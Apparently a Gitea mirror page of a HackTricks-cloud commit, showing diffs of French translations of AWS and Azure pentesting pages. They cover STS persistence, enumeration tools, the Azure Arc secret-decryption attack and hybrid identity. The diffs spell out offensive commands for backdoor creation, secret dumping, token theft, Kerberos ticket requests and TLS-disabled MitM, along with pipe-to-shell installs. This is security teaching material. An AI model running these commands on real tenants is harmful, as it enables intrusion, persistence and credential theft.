gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-23 07:29:04 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p

Browse Source
This commit is contained in:
Translator
2025-01-21 17:39:18 +00:00
parent 0ab9c4c792
commit f109214b85
42 changed files with 606 additions and 587 deletions
Download Patch File Download Diff File Expand all files Collapse all files

8
src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
View File

@@ -18,8 +18,8 @@ Les jetons temporaires ne peuvent pas être listés, donc maintenir un jeton tem
# Avec MFA
aws sts get-session-token \
--serial-number <mfa-device-name> \
--token-code <code-from-token>
--serial-number <mfa-device-name> \
--token-code <code-from-token>
# Le nom de l'appareil matériel est généralement le numéro au dos de l'appareil, tel que GAHT12345678
<strong># Le nom de l'appareil SMS est l'ARN dans AWS, tel que arn:aws:iam::123456789012:sms-mfa/username
@@ -40,12 +40,12 @@ optional arguments:
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
```
> [!CAUTION]
> Notez que le script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) de ce dépôt Github ne trouve pas toutes les manières dont une chaîne de rôle peut être configurée.
> Notez que le script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) de ce dépôt Github ne trouve pas toutes les manières dont une chaîne de rôles peut être configurée.
<details>
<summary>Code pour effectuer le Role Juggling depuis PowerShell</summary>
```powershell
```bash
# PowerShell script to check for role juggling possibilities using AWS CLI
# Check for AWS CLI installation

238
src/pentesting-cloud/azure-security/README.md
View File

@@ -27,10 +27,10 @@ Du point de vue d'une Red Team, la **première étape pour compromettre un envir
- **`az logout`** supprime le jeton.
- Les anciennes versions de **`Az PowerShell`** stockaient les **jetons d'accès** en **texte clair** dans **`TokenCache.dat`**. Il stocke également le **ServicePrincipalSecret** en **texte clair** dans **`AzureRmContext.json`**. La cmdlet **`Save-AzContext`** peut être utilisée pour **stocker** les **jetons**.\
Utilisez `Disconnect-AzAccount` pour les supprimer.
- Tiers **compromis**
- Employé **interne**
- Tiers **violés**
- **Employé** interne
- [**Phishing Commun**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (identifiants ou application Oauth)
- [Phishing par Code de Dispositif](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
- [Phishing par Authentification par Code de Dispositif](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
- [**Password Spraying** Azure](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
Même si vous **n'avez compromis aucun utilisateur** à l'intérieur du locataire Azure que vous attaquez, vous pouvez **rassembler des informations** à partir de celui-ci :
@@ -92,7 +92,7 @@ az account management-group list #Not allowed by default
{{#endtab }}
{{#tab name="AzureAD" }}
```powershell
```bash
#Get the current session state
Get-AzureADCurrentSessionInfo
#Get details of the current tenant
@@ -101,7 +101,7 @@ Get-AzureADTenantDetail
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get the information about the current context (Account, Tenant, Subscription etc.)
Get-AzContext
# List all available contexts
@@ -120,11 +120,11 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
{{#endtabs }}
> [!CAUTION]
> L'une des commandes les plus importantes pour énumérer Azure est **`Get-AzResource`** depuis Az PowerShell car elle vous permet de **savoir quels sont les ressources que votre utilisateur actuel peut voir**.
> L'une des commandes les plus importantes pour énumérer Azure est **`Get-AzResource`** depuis Az PowerShell car elle vous permet de **savoir quels ressources votre utilisateur actuel peut voir**.
>
> Vous pouvez obtenir les mêmes informations dans la **console web** en allant sur [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) ou en recherchant "Toutes les ressources"
### Énumération de l'ID Entra
### Énumération d'Entra ID
Par défaut, tout utilisateur devrait avoir **suffisamment de permissions pour énumérer** des éléments tels que, utilisateurs, groupes, rôles, services principaux... (vérifiez [les permissions par défaut d'AzureAD](az-basic-information/index.html#default-user-permissions)).\
Vous pouvez trouver ici un guide :
@@ -147,228 +147,6 @@ Utilisez portal.azure.com et sélectionnez le shell, ou utilisez shell.azure.com
## Azure DevOps
Azure DevOps est séparé d'Azure. Il a des dépôts, des pipelines (yaml ou release), des tableaux, un wiki, et plus encore. Les groupes de variables sont utilisés pour stocker des valeurs de variables et des secrets.
Azure DevOps est séparé d'Azure. Il a des dépôts, des pipelines (yaml ou release), des tableaux, un wiki, et plus encore. Les Groupes de Variables sont utilisés pour stocker des valeurs de variables et des secrets.
## Debug | MitM az cli
En utilisant le paramètre **`--debug`**, il est possible de voir toutes les requêtes que l'outil **`az`** envoie :
```bash
az account management-group list --output table --debug
```
Pour effectuer un **MitM** sur l'outil et **vérifier toutes les requêtes** qu'il envoie manuellement, vous pouvez faire :
{{#tabs }}
{{#tab name="Bash" }}
```bash
export ADAL_PYTHON_SSL_NO_VERIFY=1
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
export HTTPS_PROXY="http://127.0.0.1:8080"
export HTTP_PROXY="http://127.0.0.1:8080"
# If this is not enough
# Download the certificate from Burp and convert it into .pem format
# And export the following env variable
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
```
{{#endtab }}
{{#tab name="PS" }}
```bash
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
$env:HTTPS_PROXY="http://127.0.0.1:8080"
$env:HTTP_PROXY="http://127.0.0.1:8080"
```
{{#endtab }}
{{#endtabs }}
## Outils de Reconnaissance Automatisés
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
```powershell
cd ROADTools
pipenv shell
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
roadrecon gather
roadrecon gui
```
### [Monkey365](https://github.com/silverhack/monkey365)
```powershell
Import-Module monkey365
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Detailed
Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
```
### [**Stormspotter**](https://github.com/Azure/Stormspotter)
```powershell
# Start Backend
cd stormspotter\backend\
pipenv shell
python ssbackend.pyz
# Start Front-end
cd stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# Run Stormcollector
cd stormspotter\stormcollector\
pipenv shell
az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```powershell
# You need to use the Az PowerShell and Azure AD modules:
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
Connect-AzAccount -Credential $creds
Import-Module AzureAD\AzureAD.psd1
Connect-AzureAD -Credential $creds
# Launch AzureHound
. AzureHound\AzureHound.ps1
Invoke-AzureHound -Verbose
# Simple queries
## All Azure Users
MATCH (n:AZUser) return n.name
## All Azure Applications
MATCH (n:AZApp) return n.objectid
## All Azure Devices
MATCH (n:AZDevice) return n.name
## All Azure Groups
MATCH (n:AZGroup) return n.name
## All Azure Key Vaults
MATCH (n:AZKeyVault) return n.name
## All Azure Resource Groups
MATCH (n:AZResourceGroup) return n.name
## All Azure Service Principals
MATCH (n:AZServicePrincipal) return n.objectid
## All Azure Virtual Machines
MATCH (n:AZVM) return n.name
## All Principals with the ‘Contributor’ role
MATCH p = (n)-[r:AZContributor]->(g) RETURN p
# Advanced queries
## Get Global Admins
MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
## Owners of Azure Groups
MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
## All Azure Users and their Groups
MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p
## Privileged Service Principals
MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p
## Owners of Azure Applications
MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p
## Paths to VMs
MATCH p = (n)-[r]->(g: AZVM) RETURN p
## Paths to KeyVault
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
## Paths to Azure Resource Group
MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
## On-Prem users with edges to Azure
MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p
## All Azure AD Groups that are synchronized with On-Premise AD
MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
```
### [Azucar](https://github.com/nccgroup/azucar)
```bash
# You should use an account with at least read-permission on the assets you want to access
git clone https://github.com/nccgroup/azucar.git
PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
# resolve the TenantID for an specific username
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
```
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
```
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
```powershell
Connect-AzAccount
ipmo C:\Path\To\Powerzure.psd1
Get-AzureTarget
# Reader
$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails
# Contributor
$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml"
$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk
# Owner
$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
# Administrator
$ Create-Backdoor, Execute-Backdoor
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
```powershell
#Get-GraphTokens
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
Get-GraphTokens
#Invoke-GraphRecon
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
#Invoke-DumpApps
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
Invoke-DumpApps -Tokens $tokens
#Get-AzureADUsers
#Gather the full list of users from the directory.
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
#Get-SecurityGroups
#Create a list of security groups along with their members.
Get-SecurityGroups -AccessToken $tokens.access_token
G#et-UpdatableGroups
#Gets groups that may be able to be modified by the current user
Get-UpdatableGroups -Tokens $tokens
#Get-DynamicGroups
#Finds dynamic groups and displays membership rules
Get-DynamicGroups -Tokens $tokens
#Get-SharePointSiteURLs
#Gets a list of SharePoint site URLs visible to the current user
Get-SharePointSiteURLs -Tokens $tokens
#Invoke-GraphOpenInboxFinder
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
#Get-TenantID
#This module attempts to gather a tenant ID associated with a domain.
Get-TenantID -Domain
#Invoke-GraphRunner
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
{{#include ../../banners/hacktricks-training.md}}

245
src/pentesting-cloud/azure-security/az-enumeration-tools.md
View File

@@ -26,7 +26,7 @@ curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
```
## Installer PowerShell sur MacOS
Instructions de la [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
Instructions de la [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4) :
1. Installez `brew` si ce n'est pas déjà fait :
```bash
@@ -49,11 +49,11 @@ brew upgrade powershell
### az cli
[**Interface de ligne de commande Azure (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) est un outil multiplateforme écrit en Python pour gérer et administrer (la plupart des) ressources Azure et Entra ID. Il se connecte à Azure et exécute des commandes administratives via la ligne de commande ou des scripts.
[**Interface de Ligne de Commande Azure (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) est un outil multiplateforme écrit en Python pour gérer et administrer (la plupart des) ressources Azure et Entra ID. Il se connecte à Azure et exécute des commandes administratives via la ligne de commande ou des scripts.
Suivez ce lien pour les [**instructions d'installation¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
Les commandes dans Azure CLI sont structurées selon un modèle de : `az <service> <action> <parameters>`
Les commandes dans Azure CLI sont structurées en utilisant un modèle de : `az <service> <action> <parameters>`
#### Déboguer | MitM az cli
@@ -128,4 +128,243 @@ Le module Azure Active Directory (AD), maintenant **déprécié**, fait partie d
Suivez ce lien pour les [**instructions d'installation**](https://www.powershellgallery.com/packages/AzureAD).
## Outils de Reconnaissance Automatisée & de Conformité
### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure)
Turbot avec steampipe et powerpipe permet de rassembler des informations d'Azure et d'Entra ID et d'effectuer des vérifications de conformité et de trouver des erreurs de configuration. Les modules Azure actuellement les plus recommandés à exécuter sont :
- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance)
- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights)
- [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights)
```bash
# Install
brew install turbot/tap/powerpipe
brew install turbot/tap/steampipe
steampipe plugin install azure
steampipe plugin install azuread
# Config creds via env vars or az cli default creds will be used
export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD"
export AZURE_TENANT_ID="<tenant-id>"
export AZURE_SUBSCRIPTION_ID="<subscription-id>"
export AZURE_CLIENT_ID="<client-id>"
export AZURE_CLIENT_SECRET="<secret>"
# Run steampipe-mod-azure-insights
cd /tmp
mkdir dashboards
cd dashboards
powerpipe mod init
powerpipe mod install github.com/turbot/steampipe-mod-azure-insights
steampipe service start
powerpipe server
# Go to http://localhost:9033 in a browser
```
### [Prowler](https://github.com/prowler-cloud/prowler)
Prowler est un outil de sécurité Open Source pour effectuer des évaluations des meilleures pratiques de sécurité, des audits, des réponses aux incidents, une surveillance continue, un durcissement et une préparation à la criminalistique pour AWS, Azure, Google Cloud et Kubernetes.
Il nous permettrait essentiellement d'exécuter des centaines de vérifications contre un environnement Azure pour trouver des erreurs de configuration de sécurité et rassembler les résultats au format json (et d'autres formats texte) ou les vérifier sur le web.
```bash
# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app
# Launch web with docker-compose
export DOCKER_DEFAULT_PLATFORM=linux/amd64
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env
## If using an old docker-compose version, change the "env_file" params to: env_file: ".env"
docker compose up -d
# Access the web and configure the access to run a scan from it
# Prowler cli
python3 -m pip install prowler --break-system-packages
docker run --rm toniblyx/prowler:v4-latest azure --list-checks
docker run --rm toniblyx/prowler:v4-latest azure --list-services
docker run --rm toniblyx/prowler:v4-latest azure --list-compliance
docker run --rm -e "AZURE_CLIENT_ID=<client-id>" -e "AZURE_TENANT_ID=<tenant-id>" -e "AZURE_CLIENT_SECRET=<secret>" toniblyx/prowler:v4-latest azure --sp-env-auth
## It also support other authentication types, check: prowler azure --help
```
### [Monkey365](https://github.com/silverhack/monkey365)
Il permet d'effectuer des examens de la configuration de sécurité des abonnements Azure et de Microsoft Entra ID automatiquement.
Les rapports HTML sont stockés dans le répertoire `./monkey-reports` à l'intérieur du dossier du dépôt github.
```bash
git clone https://github.com/silverhack/monkey365
Get-ChildItem -Recurse monkey365 | Unblock-File
cd monkey365
Import-Module ./monkey365
mkdir /tmp/monkey365-scan
cd /tmp/monkey365-scan
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Detailed
# Scan with user creds (browser will be run)
Invoke-Monkey365 -TenantId <tenant-id> -Instance Azure -Collect All -ExportTo HTML
# Scan with App creds
$SecureClientSecret = ConvertTo-SecureString "<secret>" -AsPlainText -Force
Invoke-Monkey365 -TenantId <tenant-id> -ClientId <client-id> -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML
```
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
Scout Suite recueille des données de configuration pour une inspection manuelle et met en évidence les zones à risque. C'est un outil d'audit de sécurité multi-cloud, qui permet d'évaluer la posture de sécurité des environnements cloud.
```bash
virtualenv -p python3 venv
source venv/bin/activate
pip install scoutsuite
scout --help
# Use --cli flag to use az cli credentials
# Use --user-account to have scout prompt for user credentials
# Use --user-account-browser to launch a browser to login
# Use --service-principal to have scout prompt for app credentials
python scout.py azure --cli
```
### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting)
C'est un script PowerShell qui vous aide à **visualiser toutes les ressources et permissions à l'intérieur d'un groupe de gestion et du tenant Entra ID** et à trouver des erreurs de configuration de sécurité.
Il fonctionne en utilisant le module Az PowerShell, donc toute authentification prise en charge par cet outil est prise en charge par l'outil.
```bash
import-module Az
.\AzGovVizParallel.ps1 -ManagementGroupId <management-group-id> [-SubscriptionIdWhitelist <subscription-id>]
```
## Outils automatisés de post-exploitation
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
L'énumération de ROADRecon offre des informations sur la configuration d'Entra ID, comme les utilisateurs, les groupes, les rôles, les politiques d'accès conditionnel...
```bash
cd ROADTools
pipenv shell
# Login with user creds
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
# Login with app creds
roadrecon auth --as-app --client "<client-id>" --password "<secret>" --tenant "<tenant-id>"
roadrecon gather
roadrecon gui
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```bash
# Launch AzureHound
## Login with app secret
azurehound -a "<client-id>" -s "<secret>" --tenant "<tenant-id>" list -o ./output.json
## Login with user creds
azurehound -u "<user-email>" -p "<password>" --tenant "<tenant-id>" list -o ./output.json
```
Lancez le **BloodHound** web avec **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** et importez le fichier `output.json`.
Ensuite, dans l'onglet **EXPLORE**, dans la section **CYPHER**, vous pouvez voir une icône de **dossier** qui contient des requêtes pré-construites.
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
MicroBurst inclut des fonctions et des scripts qui supportent la découverte des services Azure, l'audit de configuration faible, et des actions post-exploitation telles que le dumping de crédentiels. Il est destiné à être utilisé lors des tests de pénétration où Azure est utilisé.
```bash
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
PowerZure a été créé par nécessité d'un cadre capable d'effectuer à la fois la reconnaissance et l'exploitation d'Azure, d'EntraID et des ressources associées.
Il utilise le module **Az PowerShell**, donc toute authentification prise en charge par cet outil est également prise en charge par l'outil.
```bash
# Login
Import-Module Az
Connect-AzAccount
# Clone and import PowerZure
git clone https://github.com/hausec/PowerZure
cd PowerZure
ipmo ./Powerzure.psd1
Invoke-Powerzure -h # Check all the options
# Info Gathering (read)
Get-AzureCurrentUser # Get current user
Get-AzureTarget # What can you access to
Get-AzureUser -All # Get all users
Get-AzureSQLDB -All # Get all SQL DBs
Get-AzureAppOwner # Owners of apps in Entra
Show-AzureStorageContent -All # List containers, shared and tables
Show-AzureKeyVaultContent -All # List all contents in key vaults
# Operational (write)
Set-AzureUserPassword -Password <password> -Username <username> # Change password
Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC.
New-AzureBackdoor -Username <username> -Password <password>
Invoke-AzureRunCommand -Command <command> -VMName <vmname>
[...]
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
GraphRunner est un ensemble d'outils de post-exploitation pour interagir avec l'API Microsoft Graph. Il fournit divers outils pour effectuer des reconnaissances, de la persistance et piller des données d'un compte Microsoft Entra ID (Azure AD).
```bash
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
Get-GraphTokens
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#A module to dump conditional access policies from a tenant.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#A module to dump conditional access policies from a tenant.
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
Invoke-DumpApps -Tokens $tokens
#Gather the full list of users from the directory.
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
#Create a list of security groups along with their members.
Get-SecurityGroups -AccessToken $tokens.access_token
#Gets groups that may be able to be modified by the current user
Get-UpdatableGroups -Tokens $tokens
#Finds dynamic groups and displays membership rules
Get-DynamicGroups -Tokens $tokens
#Gets a list of SharePoint site URLs visible to the current user
Get-SharePointSiteURLs -Tokens $tokens
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
#This module attempts to gather a tenant ID associated with a domain.
Get-TenantID -Domain
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
### [Stormspotter](https://github.com/Azure/Stormspotter)
Stormspotter crée un “graphique d'attaque” des ressources dans une souscription Azure. Il permet aux équipes rouges et aux pentesters de visualiser la surface d'attaque et les opportunités de pivotement au sein d'un locataire, et renforce vos défenseurs pour qu'ils puissent rapidement s'orienter et prioriser le travail de réponse aux incidents.
**Malheureusement, il semble non maintenu**.
```bash
# Start Backend
cd stormspotter\backend\
pipenv shell
python ssbackend.pyz
# Start Front-end
cd stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# Run Stormcollector
cd stormspotter\stormcollector\
pipenv shell
az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
{{#include ../../banners/hacktricks-training.md}}

14
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
View File

@@ -13,8 +13,8 @@ Lors de son exécution, le script DeployGPO.ps1 effectue les actions suivantes :
Lors de l'exécution de ce script, les administrateurs système doivent fournir deux paramètres principaux : **ServicePrincipalId** et **ServicePrincipalClientSecret**. De plus, il nécessite d'autres paramètres tels que le domaine, le FQDN du serveur hébergeant le partage et le nom du partage. D'autres détails tels que l'ID de locataire, le groupe de ressources et d'autres informations nécessaires doivent également être fournis au script.
Un secret chiffré est généré dans le répertoire AzureArcDeploy sur le partage spécifié en utilisant le chiffrement DPAPI-NG. Le secret chiffré est stocké dans un fichier nommé encryptedServicePrincipalSecret. Des preuves de cela peuvent être trouvées dans le script DeployGPO.ps1, où le chiffrement est effectué en appelant ProtectBase64 avec $descriptor et $ServicePrincipalSecret comme entrées. Le descripteur se compose des SID des groupes Domain Computer et Domain Controller, garantissant que le ServicePrincipalSecret ne peut être déchiffré que par les contrôleurs de domaine et les groupes de sécurité des ordinateurs de domaine, comme noté dans les commentaires du script.
```powershell
Un secret chiffré est généré dans le répertoire AzureArcDeploy sur le partage spécifié en utilisant le chiffrement DPAPI-NG. Le secret chiffré est stocké dans un fichier nommé encryptedServicePrincipalSecret. Des preuves de cela peuvent être trouvées dans le script DeployGPO.ps1, où le chiffrement est effectué en appelant ProtectBase64 avec $descriptor et $ServicePrincipalSecret comme entrées. Le descripteur se compose des SID des groupes Domain Computer et Domain Controller, garantissant que le ServicePrincipalSecret ne peut être déchiffré que par les groupes de sécurité Domain Controllers et Domain Computers, comme noté dans les commentaires du script.
```bash
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
@@ -27,24 +27,24 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe
Nous avons les conditions suivantes :
1. Nous avons réussi à pénétrer le réseau interne.
2. Nous avons la capacité de créer ou d'assumer le contrôle d'un compte d'ordinateur au sein d'Active Directory.
2. Nous avons la capacité de créer ou de prendre le contrôle d'un compte d'ordinateur au sein d'Active Directory.
3. Nous avons découvert un partage réseau contenant le répertoire AzureArcDeploy.
Il existe plusieurs méthodes pour obtenir un compte machine dans un environnement AD. L'une des plus courantes consiste à exploiter le quota de compte machine. Une autre méthode implique de compromettre un compte machine via des ACL vulnérables ou diverses autres mauvaises configurations.
```powershell
```bash
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
Une fois qu'un compte machine est obtenu, il est possible de s'authentifier en utilisant ce compte. Nous pouvons soit utiliser la commande runas.exe avec le drapeau netonly, soit utiliser pass-the-ticket avec Rubeus.exe.
```powershell
```bash
runas /user:fake01$ /netonly powershell
```
```powershell
```bash
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
```
En ayant le TGT pour notre compte d'ordinateur stocké en mémoire, nous pouvons utiliser le script suivant pour déchiffrer le secret du principal de service.
```powershell
```bash
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

14
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md
View File

@@ -4,7 +4,7 @@
## Informations de Base
L'intégration entre **Active Directory (AD) sur site** et **Azure AD** est facilitée par **Azure AD Connect**, offrant diverses méthodes qui prennent en charge **Single Sign-on (SSO)**. Chaque méthode, bien qu'utile, présente des vulnérabilités de sécurité potentielles qui pourraient être exploitées pour compromettre les environnements cloud ou sur site :
L'intégration entre **Active Directory (AD) sur site** et **Azure AD** est facilitée par **Azure AD Connect**, offrant diverses méthodes qui supportent **Single Sign-on (SSO)**. Chaque méthode, bien que utile, présente des vulnérabilités de sécurité potentielles qui pourraient être exploitées pour compromettre les environnements cloud ou sur site :
- **Pass-Through Authentication (PTA)** :
- Compromission possible de l'agent sur l'AD sur site, permettant la validation des mots de passe des utilisateurs pour les connexions Azure (sur site vers Cloud).
@@ -15,13 +15,13 @@ pta-pass-through-authentication.md
{{#endref}}
- **Password Hash Sync (PHS)** :
- Extraction potentielle de mots de passe en clair des utilisateurs privilégiés depuis l'AD, y compris les identifiants d'un utilisateur AzureAD à privilèges élevés, généré automatiquement.
